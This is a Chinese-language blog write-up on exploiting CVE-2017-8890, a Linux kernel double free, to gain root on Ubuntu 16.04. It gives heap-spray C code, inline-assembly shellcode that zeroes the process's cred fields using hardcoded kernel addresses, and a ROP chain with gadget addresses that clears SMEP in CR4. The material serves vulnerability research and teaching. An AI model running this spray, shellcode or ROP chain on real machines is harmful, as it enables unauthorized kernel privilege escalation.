本文主要参考thor的文章,完成了在ubuntu16.04.1@kernel 4.10.0-19 上的root利用。内容主要是总结一下目前的利用思路(ret2user和bypass smep)以及在实践时遇到的一些小问题。

根据上篇 CVE-2017-8890 漏洞分析的文章,最后已经触发了漏洞:在第二次free时,内核发生了panic。再看一下这个vulnerable obj:
1533809547225

Alt text
obj释放的过程:
Alt text

触发内核panic后,由于是double free的漏洞,两次free的时机都可控。因此利用的思路很简单,在第一次释放后,通过heap spray的技术来占位被释放的obj,从而在第二次free的时候,尝试利用占位的数据去劫持EIP。

如何在第二次free时利用占位的数据控制EIP呢?这个和ip_mc_socklist的定义有关,由于这个结构体中定义了struct rcu_head rcu;因此,对于该结构体的读和写都受到linux kernel rcu机制[4]的保护。释放的过程也可以理解为一个写的过程。受到rcu机制保护的结构体在释放时,也就是上图中调用kfree_rcu(kfree an object after a grace period)时,并不是真正的释放,而是调用call_rcu把他加入到rcu_head的链表中。

Alt text
根据对RCU机制粗略的学习了解到,此时会开始标记一个宽限期(GP)。当宽限期开始时,记录所有的读thread,当这些读thread都结束后,时钟中断触发时,在软中断中会调用rcu的回调函数来删除这个obj。

所以真正的释放过程是在rcu的回调函数中触发的。删除时的调用链如下rcu_do_batch->__rcu_reclaim,在__rcu_reclaim中会检查func的大小是否小于4096,如果小于4096,则释放,否则便会调用func。
Alt text
因此,如果可以控制func便可以控制EIP。因此,堆喷时的目标也就变成了占位func。

在gdb动态调试时,想手工占位func,修改了func几十次,依然不能劫持EIP。最后采用了劫持next_rcu的方式来劫持EIP。

为什么劫持next_rcu也可以控制EIP呢?在该结构体中, next_rcu构成了这个结构体链表,如果劫持了next_rcu,便可以控制它指向一个我们伪造好的mc_list。从而在释放时,执行inet->mc_list = iml->next_rcu。下次循环,就可以free这个我们控制的mc_list。由于没有SMAP,可以把这个mc_list布置在用户态。因此,我们便可以写一个循环来不停地控制func。引用一下thor的图:
Alt text

因此,我们堆喷射时,需要可以控制前8个字节,也就是next_rcu。除了可控数据之外,堆喷射还有大小的要求。linux 内核会把大小相近的堆块放在一起管理,堆块的大小一般都是2^N。ip_mc_socklist的大小是0x30,位于slab-64。可以通过申请该obj的反汇编代码看到,ip_mc_join_group中sock_kmalloc反汇编代码:

Alt text
因此堆喷射时,kmalloc的大小要求为32byte<SIZE<=64byte。这样堆喷射时,内核会重用之前释放的内存。让我们堆喷射申请的内存占位原来的vulnerable obj释放的内存。

最终堆喷射的两个要求是:

  1. 前八字节可控
  2. 32byte<SIZE<=64byte

寻找堆喷射的函数时,hardenedlinux中上传的exp中堆喷射的是调用了setsockopt(ser_sockfd, SOL_IP, MCAST_JOIN_GROUP, &req, sizeof req) ,搜索了一下相关实现,调用链为do_ipv6_setsockopt->ipv6_sock_mc_join->sock_kmalloc
Alt text
IDA找了一下spray的大小是0x48,不符合要求。
Alt text

thor的利用思路中提到,使用ip_mc_source函数来堆喷射。使用该函数来堆喷射时,可以控制前8个字节为0x10000000a,并且spray size大小是0x40,符合要求。
Alt text
通过understand寻找对于sock_kmalloc的引用,内核中也存在其它的函数可以使用:
Alt text
因此,利用ip_mc_source来堆喷射的代码为:

#define SPRAY_TIMES 48000 /* spray for the hole. */
static int ipv6_fd[SPRAY_TIMES]={0};

void init_spray()
{
    for ( int i = 0; i < SPRAY_TIMES ; i++ ) {
        if ((ipv6_fd[i] = socket(AF_INET6, SOCK_STREAM|SOCK_CLOEXEC, IPPROTO_IP)) < 0) {
            printf("[init_spray] %d, socket() failed.", i);
            perror("Socket");
           exit(errno);
        }

    }
}
static int prepare_spray_obj(int i)
{
    struct ip_mreq_source mreqsrc;
    memset(&mreqsrc,0,sizeof(mreqsrc));
    mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));

    setsockopt(ipv6_fd[i], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
}

ret2usr

环境

关闭smep 和kaslr需要修改grub文件/etc/grub.d/40_custom中的kernel启动选项,增加nosmep nokaslr

劫持了EIP后,在没有kaslr和smep smap的保护下,利用还是比较简单的,ret2usr中的shellcode即可。注意由于劫持EIP时的thread并不是POC的thread,因此的传统的commit_creds(prepare_kernel_cred(0))并不能使用。利用的exploit如下,通过找到当前exp进程的kernel pid,找到对应的task_struct,再修改cred中的标志位提权。
Alt text

其中find_get_pid ,pid_task以及cred的偏移都和当前的kernel版本有关,需要自行修改。

void get_root(int pid){

      struct pid * kpid = find_get_pid(pid); 
      struct task_struct * task = pid_task(kpid,PIDTYPE_PID); 
      unsigned int * addr = (unsigned  int* )task->cred;

      addr[1] = 0;
      addr[2] = 0;
      addr[3] = 0;
      addr[4] = 0;
      addr[5] = 0;
      addr[6] = 0;
      addr[7] = 0;
      addr[8] = 0;

}

对应汇编如下:

unsigned long*  find_get_pid = (unsigned long*)0xffffffff810a6410;
unsigned long*  pid_task     = (unsigned long*)0xffffffff810a6360;
void get_root() {
        asm(
        "sub    $0x18,%rsp;"
        "mov    pid,%edi;"
        "callq  *find_get_pid;"
        "mov    %rax,-0x8(%rbp);"
        "mov    -0x8(%rbp),%rax;"
        "mov    $0x0,%esi;"
        "mov    %rax,%rdi;"
        "callq  *pid_task;"
        "mov    %rax,-0x10(%rbp);"
        "mov    -0x10(%rbp),%rax;"
        "mov    0xa28(%rax),%rax;"          
        "mov    %rax,-0x18(%rbp);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x4,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x8,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0xc,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x10,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x14,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x18,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x1c,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x20,%rax;"
        "movl   $0x0,(%rax);"
        "nop;"
        "leaveq;" 
        "retq   ;");
}

exploit地址
Alt text

bypass SMEP

SMEP是,位于CR4寄存器的第20位。开启了smep后,kernel就不难直接执行用户态的shellcode了。查看smep是否开启:cat /proc/cpuinfo | grep smep

运行之前的exp,内核oops信息如下:
Alt text

这里使用了内核rop的方式修改了CR4寄存器。

0xffffffff810b402d : pop rdi ; ret
0x00000000000406f0  # new CR4 value
0xffffffff8101b5b0 : mov cr4, rdi ; pop rbp ; ret

由于使用内核rop,因此需要迁移栈。
控制EIP时,rax是0x1000002a。因此栈迁移xchg eax, esp ; ret,测试了一下这条指令会修改esp,并且rsp的高位会清零。因此内核栈rsp=0x1000002a。

执行完用户态shellcode返回时,内核栈便遭到了破坏。因此,rop时我保存了ebp,在shellcode结束时leave,这样便可以恢复内核执行流程。leave相当于mov esp,ebp;ret。因此在rop结束时,只要ebp是正确的,leave指令就可以保证内核栈不会被破坏。

因此,最终的rop功能位为,把rbp 被保存到rcx中,并且修改了cr4,跳转到ret_addr 也就是用户态的shellcode处执行:

    fake_stack[0] = 0xffffffff811da170; //  pop rsi ; ret
    fake_stack[1] = 0xffffffff8148ddcb; //  pop rcx ; ret
    fake_stack[2] = 0xffffffff8119a1d7; //  push rbp ; jmp rsi
    fake_stack[3] = 0xffffffff810b402d; //  pop rdi ; ret
    fake_stack[4] = 0x00000000000406f0;
    fake_stack[5] = 0xffffffff8101b5b0; //  mov cr4, rdi ; pop rbp ; ret
    fake_stack[6] = 0x81000a00;         //  fake value saved to rbp, not use
    fake_stack[7] = ret_addr;

用户态shellcode需要把rcx中的值给rbp,执行完patch的功能后,leave恢复栈再退出。

void get_root() {
        asm(
        "mov    %rcx, %rbp;"
        // "mov    %rcx, %rsp;"
        "sub    $0x18,%rsp;"
		...  PATCH代码
        "nop;"
        "leaveq;" 
        "retq   ;"
        );
}

一些问题

此外,有几个注意点,大部分已经解决了:

  • ropgadget寻找出来的gadget需要在IDA中看一下确定是否真的可以用。

  • gdb动态调试时,部分指令有时候会变成int3,这是由于gdb调试造成的副作用。 Alt text

  • gdb动态调试时,会存在其它的thread需要保存rcu_head到链表中,需要修改rcu_head链表中最后一个rcu_head中的next指针。如果最后一个rcu_head已经是在用户态伪造好的的rcu_head,就会出现问题。由于其它的thread不在exp上下文中,因此访问不了rcu_head末尾加入的在用户态的fake mc_list,地址为0x1000000a,直接运行exp就没这个问题了,只有调试时会遇到这个问题。
    Alt text

  • 当执行用户态shellcode时,kgdb会挂掉,这时劫持kdump看内核oops信息,使用方法见之前的环境搭建文章。

  • .... 时间跨度太长了,应该还有很多漏掉的....

当然还有一些没解决的:

  • 控制EIP的过程是在时钟中断触发时,软中断中调用rcu的回调函数中触发的,但是软中断的调用有可能是在exp的进程上下文中,有可能是在ksofriqrd中。ksoftiqrd这个线程是内核为了解决大量软中断触发时,减少用户态程序等待时间因而来处理软中断的线程。当回调函数触发时的thread处于进程上下文中,是可以访问exp在用户态mmap的数据的,当thread中处于ksoftiqrd中,就访问不到exp进程用户态mmap的数据了就会出现下面这样的错误了: Alt text

exploit地址
Alt text

最后,感谢SetRet和thor两位前辈。

REF

  1. CVE-2017-8890漏洞分析与利用(Root Android 7.x)
    http://freebuf.com/articles/terminal/160041.html
  2. 利用CVE-2017-8890实现linux内核提权: SMEP绕过
    https://xz.aliyun.com/t/2385
  3. 利用CVE-2017-8890实现linux内核提权: ret2usr
    https://xz.aliyun.com/t/2383
  4. 浅析linux kernel RCU机制
    https://blog.csdn.net/think_ycx/article/details/81155672